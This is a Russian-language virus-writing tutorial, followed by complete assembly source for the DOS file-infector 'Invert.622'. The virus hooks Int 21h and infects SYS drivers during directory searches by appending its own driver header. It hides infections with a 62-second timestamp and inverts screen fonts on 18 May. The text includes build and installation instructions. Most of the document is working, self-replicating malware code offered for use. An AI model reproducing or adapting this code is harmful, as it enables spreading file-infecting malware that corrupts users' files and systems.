DEBUG = 0 ; 1 - включить отладочный режим ; 0 - выключить отладочный режим COMMENT % Simple SYS virus. Infects DOS drivers by adding of new driver to the end of file and correcting of header of SYS-file. Здорово, народ. Сегодня я хочу рассказать об одном типе исполняемых файлов для DOS, о котором больше никто рассказывать не хочет (уж сколько я спрашивал - никто так и не сказал мне ничего вразумительного на эту тем). Итак, SYS файлы (или, иначе, драйверы): что они из себя представляют, как грузяться в память, как выполняются и т.п. Сразу хочу предупредить, что не буду распространяться на те аспекты, которые не касаются вирусов - а то целая книга получится. Все драйверы делятся на символьные и блочные. Про блочные я ничего расска- зывать не буду. В начале SYS файла расположен небольшой заголовок. Вот его фор- мат: +00h 1w Смещение следующего заголовка (от начала файла). Если это послед- ний заголовок, то здесь должно стоять FFFF. +02h 1w Сегмент следующего заголовка. Если это последний заголовок, то здесь должно стоять FFFF. Если не последний, то 0000. +04h 1w Атрибуты драйвера. Для наших целей здесь лучше всего ставить 8000h - символьный драйвер нестандартного устройства. +06h 1w Смещение процедуры стратегий (от начала файла). +08h 1w Смещение процедуры прерываний (от начала файла). +0Ah 8b Имя драйвера (для символьных устройств). Как видно из таблицы, в одном SYS файле может содержаться несколько драй- веров. Сначала DOS инициализирует первый драйвер, затем второй и т.д. Вот это мы и будем использовать. Чтобы заразить SYS файл, нужно сгенерировать свой заголовок, дописать его к концу файла, затем туда же дописать сам вирус и в конце концов первые 4 байта файла заменить на дальний адрес нашего заголовка (сегмент будет равен нулю, а смещение - длине файла). Как сгенерировать свой заголовок? Первые два поля должны содержать то же значение, что и первые два поля исходного файла-жертвы. Атрибуты, как уже было сказано, нужно поставить 8000h. Следующие два поля прийдется вычислить, исходя из длины заражаемого файла. Имя драйвера можно поставить любое. Размер результирующего SYS файла не должен превышать 64Kb. SYS файл грузится в память полностью, вместе с заголовком. Для SYS файлов никогда не создается PSP. При загрузке драйверов в память DOS изменяет первые два поля их заголовков: ставит там дальний указатель на следующий драйвер - выстраивает их в цепочку (для своих целей). После этого драйверы становятся частью операционной системы. При загрузке драйвера DOS сначала передает управление процедуре стратегий. Единственное, что ей нужно сделать - это сохранить где-нибудь в надежном месте регистры ES:BX. В этих регистрах хранится адрес запроса, который формирует DOS для обращения к драйверу, но об этом ниже. Затем управление получает процедура прерываний. Замечу, что эта процедура не имеет ничего общего с процедурой обработки прерываний - просто у нее название такое. В первую очередь надо разныкать сохраненные ES:BX. В запросе находится номер команды, которую должен выполнить драйвер (для нас важна только команда инициализации), и поля, в которые нужно записать результат выполнения этой ко- манда. Если у нас в атрибутах стоит 8000h (см. выше), то процедура прерываний получит управление только один раз - в момент загрузки драйвера в память. Вот формат запроса, который сформирует DOS для этого случая (звездочкой помечены поля, которые будут нас интересовать): ES:[BX+00h] 1b Длина запроса. ES:[BX+01h] 1b Номер устройства (для блочных устройств). * ES:[BX+02h] 1b Команда, которую нужно выполнить. Команда инициализации имеет код 0. Формат запроса, приведенного здесь, именно для этой команды. * ES:[BX+03h] 1w Слово состояния. Сюда мы должны записать результат выпол- нения команды (см. дальше) ES:[BX+05h] 8b Зарезервировано. ES:[BX+0Dh] 1b Кол-во обслуживаемых устройств (для блочных драйверов). * ES:[BX+0Eh] 2w Здесь нужно указать дальний адрес конца того кода, который мы хотим оставить резидентным (см. дальше). ES:[BX+12h] 2w Дальний адрес строки параметров (все, что следует за строкой "DEVICE=" из CONFIG.SYS). ES:[BX+16h] 1b Номер устройства, обслуживаемого драйвером (назначается DOS-ом). Формат слова состояния: * 0-7 Код ошибки. Это поле действительно, если установлен бит 15. * 8 Команда выполнена. Этот бит нужно устанавливать перед возвратом управления DOS-у. 9 Устройство занято. 10-14 Зарезервировано. * 15 Признак ошибки. Возможные коды ошибок: 00h попытка записи на защищенное устройство. 01h неизвестное устройство. 02h устройство не готово. * 03h неизвестная команда. 04h CRC error. 05h неправильная длина запроса. 06h дорожка не найдена. 07h неизвестный носитель данных. 08h сектор не найден. 09h нет бумаги в принтере. 0Ah ошибка записи. 0Bh ошибка чтения. 0Ch общая ошибка. 0Dh зарезервировано. 0Eh зарезервировано. 0Fh неразрешенная замена диска. Итак, мы (процедура прерываний) получили управление. В первую очередь нужно проверить, какую команду требуется выполнить. Если это НЕ команда инициализа- ции, то устанавливаем слово состояния в 8103h (неизвестная команда) и выходим. Теперь выделяем память. Для этого в ячейку ES:[BX+0Eh] нужно занести смещение последнего байта вируса + 1, а в ячейку ES:[BX+10h] - значение CS. Затем нужно проверить, не присутствует ли в памяти другая копия вируса. Если нет, то пере- хватить Int 21h (или еще что-нибудь). Ну а если присутствует? Даже в этом слу- чае память все равно прийдется выделять (поэтому мы и сделали это ДО проверки присутствия другой копии в памяти) - и в этом состоит один из глюков такого метода заражения SYS файлов. Ну, допустим, мы сделали все вышеописанное и пере- хватили нужные нам прерывания. Теперь остается только установить слово состо- яния в 100h (удачное завершение) и отдать управление DOS-у. Вот, пожалуй, и все. Правда, у такого метода заражения есть еще один глюк: прежде чем мы получим управление, произойдет инициализация драйвера, который стоит раньше нас (в начале файла). Если этот драйвер запишет что-нибудь в об- ласть кода вируса, то последствия будут не самые лучшие. К счастью так делают лишь немногие драйверы, поэтому на это можно забить, хотя бороться с этим никак нельзя. Справедливости ради скажу, что есть еще один метод заражения SYS файлов. Нужно переставить на себя адрес процедуры стратегий (или прерываний) самого первого драйвера в файле. При получении управления перегнать себя, например, в видеопамять (MCB пока пользоваться нельзя), подождать загрузки системы, а затем уже разместить себя в памяти по-нормальному. Что же касается первого ме- тода - он хоть и глючный, зато более интересный с точки зрения изучения воз- можностей DOS-а. Для лучшего его понимания предлагаю посмотреть нижеследующий вирус. Вот его небольшое описание: Вирус заражает SYS файлы при чтении каталогов, даписываясь в их конец в качестве нового драйвера. Проверка типа файла происходит как по расширению, так и по первым четырем байтам. Корректно заражает SYS файлы для Windows - ENUNS, RUSNS и т.п. Признак зараженности файла - 62 секунды в поле времени создания. Обрабатывает файлы с атрибутом "Read Only". Не изменяет атрибуты файла и время его создания (за исключением секунд). Не глючит на защищенных от записи диске- тах. Есть отладочный режим, при котором вирус заражает только файлы с расшире- нием ZZZ. 18 мая при заражении каждого файла вирус переворачивает все буквы кроме псевдографики, за что и получил свое название (Invert.622). Замеченные глюки: 1. После загрузки Windows вирус перестает функционировать. Ничего удиви- тельного в этом нет - от Windows всего можно ожидать. 2. Если в обработчике Int 21h не сохранять флаги (хотя они и так должны сохраняться командой INT), то могут проглючить некоторые программы, за- пускаемые из AUTOEXEC.BAT. Возможно, это связано с тем, что у меня уста- новлен EMM386, который грузит компьютер в V86, а прерывания обработывает сначала сам. Для установки вируса в систему скопируйте INVERT.SYS, например, в корневой каталог и добавьте в CONFIG.SYS строку "DEVICE=C:\INVERT.SYS". DJ Sadovnikov (http://i.am/djsad), 18.05.2000 ══════════════════════════════════════════════════════════════════════════════ Компилировать с помощью TASM 4.1+ tasm /m invert.asm tlink /x invert.obj exe2bin invert.exe invert.sys del invert.obj del invert.exe Файлы из архива: invert.asm 15800 (исходник вируса) invert.sys 622 (бинарник вируса) % ;══════════════════════════════════════════════════════════════════════════════ .286 Code segment assume cs:Code, ds:Code org 0 Start: dd -1 dw 8000h dw offset Strategy dw offset Interrupt db 'XXXXXX$$' ;══════════════════════════════════════════════════════════════════════════════ Strategy: push si call StrEntry StrEntry: pop si mov cs:[Pointer+si-StrEntry], bx mov cs:[Pointer+2+si-StrEntry], es pop si retf ;══════════════════════════════════════════════════════════════════════════════ Interrupt: pusha push ds push es call IntEntry IntEntry: pop si ;[Это инициализация драйвера?] lds bx, cs:[Pointer-IntEntry+si] mov ds:[bx+03h], 8103h cmp ds:[bx+02h], byte ptr 0 jne Exit ;[Выделяем память для вируса] mov ds:[bx+03h], 0100h lea ax, [EndVir-IntEntry+si] mov ds:[bx+0Eh], ax mov ds:[bx+10h], cs ;[Проверяем наличие вируса в памяти] mov ax, 0ABCDh int 21h cmp ax, 0CDABh je Exit ;[Переустанавливаем Int 21h на Int 65h] mov ax, 3521h int 21h mov ax, 2565h mov dx, bx push es pop ds int 21h ;[Устанавливаем вирус на Int 21h] mov ax, 2521h lea dx, [Int21h-IntEntry+si] push cs pop ds int 21h Exit: pop es pop ds popa retf VirName db 'Invert.622 -- Copyright (c) by DJ Sadovnikov' ;══════════════════════════════════════════════════════════════════════════════ Int24h: mov al, 3 iret Int21h: pushf cmp ax, 0ABCDh jne NotTest xchg ah, al popf iret NotTest: cmp ah, 4Eh je DirSearch cmp ah, 4Fh je DirSearch popf int 65h jc QuitSTC QuitCLC: push bp mov bp, sp and [bp+6], byte ptr 11111110b pop bp iret QuitSTC: push bp mov bp, sp or [bp+6], byte ptr 00000001b pop bp iret ;══════════════════════════════════════════════════════════════════════════════ DirSearch: popf int 65h jc QuitSTC pushf pusha push ds push es ;[Вычисляем точку входа] call Entry Entry: pop si ;[Сохраняем адрес обработчика Int 24h] mov ax, 3524h int 65h push es push bx ;[Устанавливаем свой обработчик Int 24h] mov ax, 2524h lea dx, [Int24h-Entry+si] push cs pop ds int 65h ;[Получаем адрес DTA] mov ah, 2Fh int 65h jc Quit push es pop ds ;[Найден каталог или метка тома?] test ds:[bx+15h], byte ptr 00011000b jnz Quit ;[Проверяем файл на зараженность] mov al, ds:[bx+16h] or al, 11100000b inc al jz Quit ;[Ищем конец имени файла] add bx, 1Eh mov dx, bx FindZero: inc bx cmp ds:[bx], byte ptr 0 jne FindZero ;[Это SYS-файл?] mov ax, ds:[bx-4] and ah, 0DFh IF DEBUG cmp ax, 'Z.' ELSE cmp ax, 'S.' ENDIF jne Quit mov ax, ds:[bx-2] and ax, 0DFDFh IF DEBUG cmp ax, 'ZZ' ELSE cmp ax, 'SY' ENDIF jne Quit ;[Заражаем файл] call Infect ;[Восстанавливаем старый обработчик Int 24h] Quit: mov ax, 2524h pop dx pop ds int 65h pop es pop ds popa popf jmp QuitCLC ;══════════════════════════════════════════════════════════════════════════════ ;[Сохраняем атрибуты файла] Infect: mov ax, 4300h int 65h jc Return push cx push dx push ds ;[Обнуляем атрибуты файла] mov ax, 4301h xor cx, cx int 65h jc RestAttr ;[Открываем файл] mov ax, 3D02h int 65h jc RestAttr xchg ax, bx push cs pop ds ;[Сохраняем дату и время создания файла] mov ax, 5700h int 65h jc Close push cx push dx ;[Считываем первые 4 байта заголовка] mov ah, 3Fh mov cx, 4 lea dx, [Header-Entry+si] int 65h jc RestTime ;[Проверяем тип файла] cmp [Header-Entry+si], 'ZM' je RestTime cmp [Header-Entry+si], 0FFFFh je DriverOk cmp [Header+2-Entry+si], word ptr 0 je DriverOk ;══════════════════════════════════════════════════════════════════════════════ ;[Восстанавливаем дату и время создания файла] RestTime: mov ax, 5701h pop dx pop cx int 65h ;[Закрываем файл] Close: mov ah, 3Eh int 65h ;[Восстанавливаем атрибуты файла] RestAttr: mov ax, 4301h pop ds pop dx pop cx int 65h Return: ret ;══════════════════════════════════════════════════════════════════════════════ ;[Устанавливаем указатель на 7 позиций от конца файла] DriverOk: mov ax, 4202h mov cx, 0FFFFh mov dx, 0FFF9h int 65h jc RestTime ;[Считываем 7 байт] mov ah, 3Fh mov cx, 7 lea dx, [XXXNS-Entry+si] int 65h jc RestTime ;[Устанавливаем указатель в конец файла] mov ax, 4202h xor cx, cx xor dx, dx int 65h jc RestTime ;[Проверяем, чтобы файл с вирусом занимал не более 64Kb] or dx, dx jnz RestTime cmp ax, 0FFFFh-(EndCode-Start) jae RestTime ;[Вычиляем поля заголовка SYS-файла] mov ds:[NextDriver+0-Entry+si], ax mov ds:[NextDriver+2-Entry+si], dx mov ds:[Header+04h-Entry+si], 8000h add ax, Strategy-Start mov ds:[Header+06h-Entry+si], ax add ax, Interrupt-Strategy mov ds:[Header+08h-Entry+si], ax ;[Записываем новый заголовок в конец файла] mov ah, 40h mov cx, 12h lea dx, [Header-Entry+si] int 65h jc RestTime ;[Этот файл - XXXNS?] mov cx, EndCode-7-Strategy cmp ds:[XXXNS+3-Entry+si], 'SN' jne L1 add ds:[XXXNS+5-Entry+si], EndCode-Start mov cx, EndCode-Strategy ;[Записываем вирус в конец файла] L1: mov ah, 40h lea dx, [Strategy-Entry+si] int 65h jc RestTimeA ;[Устанавливаем указатель в начало файла] mov ax, 4200h xor cx, cx xor dx, dx int 65h jc RestTimeA ;[Записываем адрес заголовка вируса] mov ah, 40h mov cx, 4 lea dx, [NextDriver-Entry+si] int 65h jc RestTimeA ;[Устанавливаем время создания файла - 62 секунды] mov bp, sp or [bp+2], byte ptr 00011111b ;[Проверяем системную дату] mov ax, 0807h out 70h, al in al, 71h xchg ah, al out 70h, al in al, 71h cmp ax, 1805h jne RestTimeA ;[Если сегодня 18.05.xx, то инвертируем шрифты] push bx mov ax, 1130h mov bh, 6 int 10h xor si, si L2: lea di, [si+15] mov cx, 8 L3: mov al, es:[bp+si] xchg es:[bp+di], al mov es:[bp+si], al inc si dec di loop L3 add si, 8 cmp si, 100h*16 je L4 cmp si, 0B0h*16 jne L2 add si, 030h*16 jmp L2 L4: mov ax, 1104h mov bl, 0 int 10h pop bx RestTimeA: jmp RestTime ;══════════════════════════════════════════════════════════════════════════════ XXXNS db 7 dup (?) EndCode: Pointer dd ? NextDriver dd ? Header db 12h dup (?) EndVir: Code ends end Start